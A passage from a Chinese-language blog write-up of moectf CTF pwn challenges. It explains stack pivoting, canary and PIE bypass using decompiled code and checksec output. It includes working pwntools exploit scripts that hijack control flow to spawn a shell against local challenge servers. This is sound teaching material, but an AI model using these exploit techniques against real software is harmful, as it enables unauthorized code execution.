int backdoor()
{
return system("echo moectf{WowYouGetTheFlag}");
}
void magic()
{
;
}
int __fastcall introduce(unsigned int nbytes)
{
read(0, &desc, nbytes);
return puts("Ok,we got your introduction!");
}

checksec分析:

1
2
3
$ checksec --file=./ezpivot    
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 47 Symbols No 0 1 ./ezpivot

对栈溢出进行了限制,每次只能溢出一点,根据题目提示,这里的考点是栈迁移

**what is **stack migration?

在做栈溢出的时候,我们可能会遇到一种情况,就是可以溢出的空间不够多,不足以构造出如system('/bin/sh')这样的语句,一般的栈溢出攻击方法将由于空间太小而不再适用 ,这种时候就可以尝试做一下栈迁移,即自己在bss段,data段或者就在栈上,有充足空间的地方构造一个类似栈的结构,再在这里进行栈溢出,拿到shell。

进行栈迁移时,很重要的一点是leave; ret这个gadget。

这里我们需要分析一下为什么可以通过这个gadget来迁移栈的位置:

  1. **leave**** 指令**(等价于 **mov esp, ebp; pop ebp**):
    • **mov esp, ebp**:将当前栈指针 ESP 指向基指针 EBP 的位置(恢复栈帧)。
    • **pop ebp**:从栈顶弹出 4 字节数据到 EBP(恢复上一个栈帧的基址),同时 ESP 自动上移 4 字节。
  2. **ret**** 指令**(等价于 **pop eip**):
    • 从当前栈顶弹出 4 字节数据到 EIP(指令指针),程序跳转到该地址执行。

因此,我们可以通过以下步骤将栈迁移到.bss段或者.data段:

  1. 覆盖原 EBP
    将原函数的 EBP 覆盖为目标地址(如 BSS 段地址 **0x0804a000**)。
    效果:当_ _**leave**_ 执行 _**mov esp, ebp**_ 时,ESP 会指向 _**0x0804a000**_。_
  2. 覆盖返回地址
    将返回地址覆盖为 **leave; ret** 指令的地址(假设为 **0x08048453**)。
    效果:函数返回时跳转到_ _**leave; ret**_ _执行。
  3. 构造伪栈结构
    在目标地址(**0x0804a000**)预先布置以下数据:
    • **0x0804a000**** 处**:新 EBP 值(可随意设置,如**0xdeadbeef**)。
    • **0x0804a004**** 处**:ROP 链的起始地址(如 **system** 函数的地址)。
    • **0x0804a008** 处:ROP 链参数(如 **"/bin/sh"** 的地址)。

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

desc_addr = 0x404060
system_addr = 0x4010a0
leave_ret_addr = 0x40120f
ret_gadget = 0x40101a
main_addr = 0x401237
pop_rdi_ret=0x401219
#p = process('./ezpivot')
p=remote('127.0.0.1',33541)

p.recvuntil("length of your introduction.\n")
p.sendline(b'-1') #通过负溢出获得足够的写入空间
#在.bss段写如伪造的栈
payload1=b'\x00'*0x800
payload1+=p64(ret_gadget)+p64(ret_gadget)
payload1+=p64(pop_rdi_ret)
payload1+=p64(desc_addr+0x800+0x28)
payload1+=p64(system_addr)
payload1+=b'/bin/sh\x00'
p.send(payload1)
gdb.attach(p)

p.recvuntil("Now, please tell us your phone number:\n")
#返回到伪造的栈
payload2 = b'A'*12
payload2 += p64(desc_addr+0x800)
payload2 += p64(leave_ret_addr)


p.send(payload2)

p.interactive()

xdulaker

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
menu();
while ( 1 )
{
while ( 1 )
{
putchar(62);
__isoc99_scanf("%d", &opt);
if ( opt != 1 )
break;
pull();
}
if ( opt == 2 )
{
photo();
}
else
{
if ( opt != 3 )
exit(0);
laker();
}
}
}
int menu()
{
puts("A freshman has walked into the lake.");
puts("1.Pull him out");
puts("2.Take a photo of him");
puts("3.Walk into the lake.");
return puts("Your choice");
}
int pull()
{
return printf("Thanks,I'll give you a gift:%p\n", &opt);
}
int photo()
{
_BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("Hey,what's your name?!");
read(0, buf, 0x40uLL);
return puts("I will teach you a lesson.");
}
ssize_t laker()
{
_BYTE s1[48]; // [rsp+0h] [rbp-30h] BYREF

if ( memcmp(s1, "xdulaker", 8uLL) )
{
puts("You are not him.");
exit(0);
}
puts("welcome,xdulaker");
return read(0, s1, 0x100uLL);
}
int backdoor()
{
return system("/bin/sh");
}

checksec分析:

1
2
3
$ checksec --file=./xdulaker
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 54 Symbols No 0 2 ./xdulaker

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

#p = process('./xdulaker')
p = remote('127.0.0.1',38883)
opt_addr = 0x0000000000004010
backdoor_offset = 0x1249
ret_offset = 0x101a
p.recvuntil('Your choice\n')
p.recv(1)
p.sendline(b'1')
p.recvuntil('gift:0x')
opt_leak=int(p.recv(12),16)
log.success(f'leak opt address----->{hex(opt_leak)}')
elf_base = opt_leak - opt_addr
log.success(f'leak elf base address----->{hex(elf_base)}')
backdoor_addr = elf_base + backdoor_offset
ret_addr = elf_base + ret_offset
p.recv(1)
p.sendline(b'2')
payload1 = b'A' * 32 + b'xdulaker' + b'B' * 24
p.send(payload1)
p.recvuntil("I will teach you a lesson.\n")
p.recv(1)
p.sendline(b'3')
p.recvline()
#gdb.attach(p)
payload2 = b"a"*56+p64(ret_addr)+p64(backdoor_addr)
p.send(payload2)
p.interactive()

Week3

ezprotection

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
vuln();
return 0;
}
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(aThisTimeIWon);
puts("Here is a beautiful canary, and it will be watching over you.");
read(0, buf, 0x2AuLL);
puts("Go ahead and overflow, anyway I have a canary.");
puts(buf);
puts("I will give you a second chance, since you can not do anything anyway.");
puts(aEvenIfYouKillT);
read(0, buf, 0x2AuLL);
return v2 - __readfsqword(0x28u);
}
void __noreturn backdoor()
{
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = __readfsqword(0x28u);
puts("Give me the password!");
read(0, buf, 8uLL);
if ( buf[0] == password )
{
puts("You find the secret:");
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Failed to open flag file.");
exit(1);
}
read(fd, &flag, 0x64uLL);
write(1, &flag, 0x64uLL);
close(fd);
}
exit(0);
}

checksec分析:

1
2
3
4
$ checksec --file=./ezprotection
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 52 Symbols No 0 1 ./ezprotection

保护全开,目的是考察如何绕过保护,尤其是canaryPIE

what is canary?

栈金丝雀,也称为栈饼干或金丝雀值,是用于检测和防止缓冲区溢出攻击的安全措施。 这种攻击发生在程序向缓冲区写入超出其容量的数据时,可能会覆盖相邻的存储位置并在过程中执行恶意代码。 栈金丝雀是放置在本地变量和栈中的返回地址之间的随机值。 当函数即将返回时,检查金丝雀值是否已被修改。 如果修改过,这表明发生了缓冲区溢出,程序可以终止以防止执行恶意代码。

what is PIE?

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

how to bypass canary?

绕过canary保护机制,可以考虑以下几种方法:

  • 栈溢出:通过栈溢出将低位的\x00覆盖,从而读取canary的值,并重新构造payload以获取shell。
  • 泄露canary:通过覆盖前面的\x00让输出函数泄露canary,或者使用printf定点泄露。
  • 逐字节爆破:逐字节尝试获取随机数,通常只需尝试较少次数即可猜测目标随机数。
  • 栈迁移:在多线程环境中,修改TLS的canary,利用栈迁移的思想进行绕过。

脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

count = 1
while True:
#p = process('./ezprotection')
p=remote('127.0.0.1',44585)
p.recvuntil('watching over you.\n')
payload1 = b'A' * 22 + b'wr' #填充栈空间,最后两位作为标记为用于接收

#gdb.attach(p)
p.sendline(payload1) #使用sendline发送换行符,覆盖canary的低位\x00,保证完整输出
p.recvuntil('I have a canary.\n')
p.recvuntil(b'wr')
canary_part =u64(p.recv(8))-0xa #接收canary
canary = canary_part
log.info(f"Canary: {hex(canary)}")
rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
payload2 = b"A"*24+p64(canary)+p64(rbp_addr) +p8(0x7d)+p8(0x12)
'''
24字节垃圾字符填充栈空间+canary+原rbp(不知道什么原因,后门函数需要用到这个)+2字节溢出覆盖低4位
根据gdb调试可以分析出main和backdoor之间只有第三位不同,所以我们有机会爆破出低第4位的值,概率为16分之1
'''
try:
count += 1
print(count,end=' ')

p.send(payload2)
p.recvuntil(b"overflow enough bytes.\n")
recv = p.recvuntil("ou find the secret:\n",timeout=10)
except:
print("error",end=' ')
else:

p.interactive()
break

fmt_T

IDA分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
fgets(s, 6, stdin);
printf(s);
puts("Anyone who uses format strings should be punished!\nGo to hell!");
hell(5LL);
return 0;
}
unsigned __int64 __fastcall hell(int n)
{
char s[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+68h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("You've reached the level %d of hell.\n", n);
if ( n <= 30 )
{
fgets(s, n, stdin);
hell((unsigned int)(n + 11));
if ( (unsigned int)pd(s, n) )
printf(s);
}
else
{
puts("You've been swallowed by hell.");
}
return v3 - __readfsqword(0x28u);
}
__int64 __fastcall pd(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 i; // [rsp+18h] [rbp-8h]

for ( i = 0LL; i < i_1; ++i )
{
if ( *(_BYTE *)(a1 + i) == 37 )
return 1LL;
}
return 0LL;
}

checksec分析:

1
2
3
$ checksec --file=./pwn         
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 2 ./pwn

how to use fmt to wite memory?

在之前的尝试中,我们主要使用fmt读取栈上的内存信息,但是fmt还有一个主要使用方式是写入内存

  • 标题: 全栈之旅:从moectf开始的pwn入门指南
  • 作者: Wang1r
  • 创建于 : 2025-09-09 21:57:11
  • 更新于 : 2025-10-07 20:18:12
  • 链接: https://wang1rrr.github.io/2025/09/09/全栈之旅:从moectf开始的pwn入门指南/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。